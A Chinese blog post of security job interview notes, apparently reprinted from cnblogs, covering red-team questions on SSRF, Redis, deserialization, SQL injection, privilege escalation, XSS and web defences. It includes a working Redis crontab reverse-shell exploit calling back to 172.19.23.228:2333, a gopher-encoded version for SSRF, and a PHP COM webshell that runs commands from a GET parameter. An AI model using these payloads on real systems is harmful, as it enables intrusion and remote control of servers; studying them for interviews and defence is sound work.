• 安全春招面经


    最近学习有点懈怠了,总结下之前面试遇到的一些问题,查漏补缺
    本人水平有限,答案仅供参考

    奇安信

    一面

    好像是红队渗透的岗所以大部分都是JAVA审计,内网,提权免杀的东西

    自我介绍,擅长方向

    JAVA漏洞原理,Apache shiro 550反序列化原理,反序列化链

    strust,weblogic,jboss 熟悉漏洞原理,反序列化链,攻击方式

    strust2绕waf的方法 payload编码绕过

    SSRF利用面

    1. 访问内网文件识别web指纹
    2. 探测内网主机存活,应用
    3. 攻击内网应用程序,如redis
    4. 利用协议访问相应文件 file, gopher, dict, ftp
    5. DoS攻击(请求大文件,始终保持连接keep-alive always)

    Redis未授权,SSRF打Redis未授权使用的什么协议?
    浅析Redis中SSRF的利用

    常用gopher dict
    常见exp

    redis-cli -h $1 flushall
    echo -e "
    
    */1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1
    
    "|redis-cli -h $1 -x set 1
    redis-cli -h $1 config set dir /var/spool/cron/
    redis-cli -h $1 config set dbfilename root
    redis-cli -h $1 save
    

    改成适配gopher的url

    gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
    

    NTLM relay攻击
    https://zhuanlan.zhihu.com/p/64889695

    JAVA SSRF协议限制
    由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用 curl -V 查看。
    支持file ftp mailto http https jar netdoc

    如何绕过SSRF对协议的限制
    没回答出来,应该是302跳转
    DNS Rebinding 攻击绕过 ssrf 限制
    其他绕过总结:https://www.secpulse.com/archives/65832.html

    Redis getshell思路,获取shell条件

    1. 写SSHkey
    • root账号启动redis服务
    • 服务器开放SSH服务,允许密钥登录。
    1. 写计划任务
    • redis是root用户启动
    • crontab反弹debian,ubuntu都不行
    1. 主从复制
    • 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
    • 然后在从机上加载so文件,我们就可以执行拓展的新命令了。

    windows下获取redis shell

    • 写入webshell,需要知道web路径
    • 写入启动项,需要目标服务器重启
    • 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

    介绍一下XXE,如何进行XXE盲注
    参数实体引用
    https://www.t00ls.net/articles-32919.html

    审计XXE的思路,XXE相关的函数
    JAVA

    javax.xml.parsers.DocumentBuilderFactory;
    javax.xml.parsers.SAXParser
    javax.xml.transform.TransformerFactory
    javax.xml.validation.Validator
    javax.xml.validation.SchemaFactory
    javax.xml.transform.sax.SAXTransformerFactory
    javax.xml.transform.sax.SAXSource
    org.xml.sax.XMLReader
    DocumentHelper.parseText
    DocumentBuilder
    org.xml.sax.helpers.XMLReaderFactory
    org.dom4j.io.SAXReader
    org.jdom.input.SAXBuilder
    org.jdom2.input.SAXBuilder
    javax.xml.bind.Unmarshaller
    javax.xml.xpath.XpathExpression
    javax.xml.stream.XMLStreamReader
    org.apache.commons.digester3.Digester
    rg.xml.sax.SAXParseExceptionpublicId
    

    PHP

    SimpleXMLElement、simplexml_load_string
    

    JAVA和PHP审计与命令执行相关的函数
    PHP

    1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
    2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
    3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
    
    

    JAVA

    Shiro 721 Padding Oracle攻击漏洞原理

    JAVA代码审计思路

    JAVA框架的预编译

    Mybatis
    Hibernet
    Preparedstatement
    

    使用预编译后还能进行sql注入吗
    堆叠注入
    gbk编码可能会有宽字节
    开报错会有报错注入
    Mybatis框架注入漏洞
    https://xz.aliyun.com/t/3950

    mysql注入点,获取shell的方法

    1. select into file
    2. 写日志 前提条件

    报错注入能使用日志来getshell吗

    UDF提权,MOF提权
    UDF:已知mysql账号密码
    MOF:windows 03及以下版本
    mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
    secure-file-priv参数不为null

    sqlserver提权的办法
    https://y4er.com/post/mssql-getshell/
    xp_cmdshell
    差异备份
    log备份

    oracle提权的办法

    注入点的前端有json加密,如何进行利用,比如数据包中带了一个token

    无回显的sql注入如何进行,带外注入是使用的哪些函数
    load_file()
    secure_file_priv =""取磁盘目录

    secure_file_priv = G|可以读取G盘文件

    secure_file_priv = null load_file限制,不能加载文件在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件
    对目标信息收集,收集哪些方面的内容

    子域名收集的方法

    找真实IP的方法

    找目标网站后台的思路

    1. 字典爆破,常见后台路径
    2. 御剑,nmap,awvs扫目录
    3. 开源类程序CMS固定后台
    4. 源码泄漏,网站备份泄漏,敏感文件泄漏
    5. 二级域名,子域名
    6. 其他端口
    7. 盲打xss

    除了上述还有其他办法吗?

    XSS实战经历(打cookie的实例)

    XSS的利用面

    XSS在内网中的利用方法

    XSS内网探测的原理

    文件上传绕过waf,或者代码防护的办法

    白名单的上传点,有getshell的办法吗

    解析漏洞,介绍一下nginx的解析漏洞
    我只说了%00截断
    还有php配置错误导致的解析漏洞/test.jpg/test.php
    CVE-2013-4547

    PHP审计,上传所涉及的函数,命令执行的函数

    绕过disable_function

    1. 系统组件绕过
      window com组件(php 5.4)(高版本扩展要自己添加)
      条件:要在php.ini中开启(如图)
    <?php
    $command=$_GET['a'];
    $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
    $exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
    ?>
    
    1. ImageMagick漏洞
    2. 利用环境变量LD_PRELOAD
    3. 利用pcntl_exec
    4. php7.4 ffi

    Windows提权方法

    linux提权方法

    免杀方面的工作做过吗

    webshell的免杀,蚁剑的编码器了解过吗

    检测冰蝎的流量特征

    PHP反序列化,魔术方法

    __to_string是什么时候触发的呢

    PHP审计经验,有复现或者审计过哪些漏洞

    thinkphp5 RCE的原理

    tp5 RCE实战中存在一些坑点了解过吗

    还了解哪些php的洞,介绍一下原理

    拿到webshell进行内网渗透的流程,应该干嘛

    找域控有哪些方法

    内网中有哪些经典的漏洞了解吗,ms17010 07068这种

    windows下抓密码的工具了解吗

    抓明文密码的原理

    抓明文被杀软拦截了,有什么办法

    hashdump了解过是如何获取到hash的吗

    域渗透权限维持的方法

    用过CS吗

    介绍一个印象最深的渗透经历

    python线程和协程的区别
    https://www.jianshu.com/p/0ec911909dff
    https://blog.csdn.net/sinat_26917383/article/details/68951673

    字节

    一面

    自我介绍

    渗透思路 给你一个登录页面 你有哪些思路
    说得越全越好, XSS, SQL注入, 二次注入, 暴力破解,验证码机制时效性,万能密码,其他功能逻辑漏洞

    平时工作的一些工作内容

    sql注入getshell的方法 除了--os-shell
    select into outfile 写日志
    udf提权 mof提权 原理 条件

    开发的钓鱼邮件平台的技术架构,大致过程,测试效果

    反序列化的原理,魔术方法

    CORS漏洞的原理,讲一讲同源策略

    SSRF攻击面
    打内网 strust redis

    怎么打redis
    gopher redis未授权

    nginx相关的了解吗

    讲一讲web渗透的经历

    web渗透的思路

    linux中> 和>>的区别知道吗
    >是覆盖原有内容
    >>是追加内容

    二面

    讲一讲XSS

    代码层防护怎么做?

    富文本场景怎么做?

    1. 内容白名单
    2. CSP

    CSP原理知道吗?CSP有哪几种方式防护xss?CSP有几种模式知道吗?
    内容安全策略( CSP )

    • 资源加载限制
    • 基于URL的限制
    • 杂项限制和强化选项

    我的CSP绕过思路及总结

    cookie和session的区别

    1. cookie存储在客户端,session存储在服务端
    2. 有效期不同,一般cookie有效期大于session,session有效期过长服务器累计的session过多会导致内存溢出
    3. Cookie支持跨域,将domain属性设置为“.twosmi1e.com”

    cookie里有哪些东西知道吗

    • name
    • value
    • domain cookie绑定的域名
    • path 默认是'/',这个值匹配的是web的路由
    • Expires/Max-age 有效期
    • secure 为true时cookie只在ssl或https等安全协议下传输
    • HttpOnly

    http-only起什么作用
    属性为true时js不能读取cookie的值
    开发会什么语言

    同源策略讲下,跨域常用方法
    CORS JSONP
    如何利用这些 JSONP请求劫持的是什么

    JSONP的大致过程 能不能写下JS代码

    CSRF如何防护,造成的原理是什么
    refer白名单
    二次验证

    token
    后端服务器如何对token进行校验,相关原理?
    docker了解吗
    了解 知道docker未授权
    漏洞原理?

    数据安全了解吗
    权限最小化,数据脱敏,数据水印,制度红线,安全培训,数据审批

    身份认证了解吗,OSS,oauth,ldap,SAML
    统一身份认证与授权标准介绍:OpenID,OAuth2,SAML
    浅谈SAML, OAuth, OpenID和SSO, JWT和Session

    主机安全了解吗
    其核心内容包括安全应用交付系统、应用监管系统、操作系统安全增强系统和运维安全管控系统。它的具体功能是指保证主机在数据存储和处理的保密性、完整性,可用性,它包括硬件、固件、系统软件的自身安全,以及一系列附加的安全技术和安全管理措施,从而建立一个完整的主机安全保护环境。

    接口安全了解吗
    API接口安全性设计
    安全|API接口安全性设计(防篡改和重复调用)
    防篡改, 防重复调用

    1. Token授权机制
    2. 时间戳超时机制
    3. API签名机制

    app渗透了解吗

    逆向了解吗

    学过编译原理吗

  • 相关阅读:
    sql server 中拥有相同字段值的记录某个字段合并问题解答
    一个SQL语句实例
    Sql server 2005中output用法解析
    SQl 2005 For XMl 简单查询(Raw,Auto,Path模式)转载
    .NET/C#中对对象集合进行查询的方法 以及相关的 Predicate<T> 及 Action<T> 的用法
    SQLServer Case具有两种格式:简单Case函数和Case搜索函数
    sql server compute by 子句用法实例
    vs2008 一件悲剧的事情
    SQl 2005 For XMl 简单查询(Raw,Auto,Path模式)
    SQL Server2005中四种排名函数的使用
  • 原文地址:https://www.cnblogs.com/twosmi1e/p/13296279.html
Copyright © 2020-2023  润新知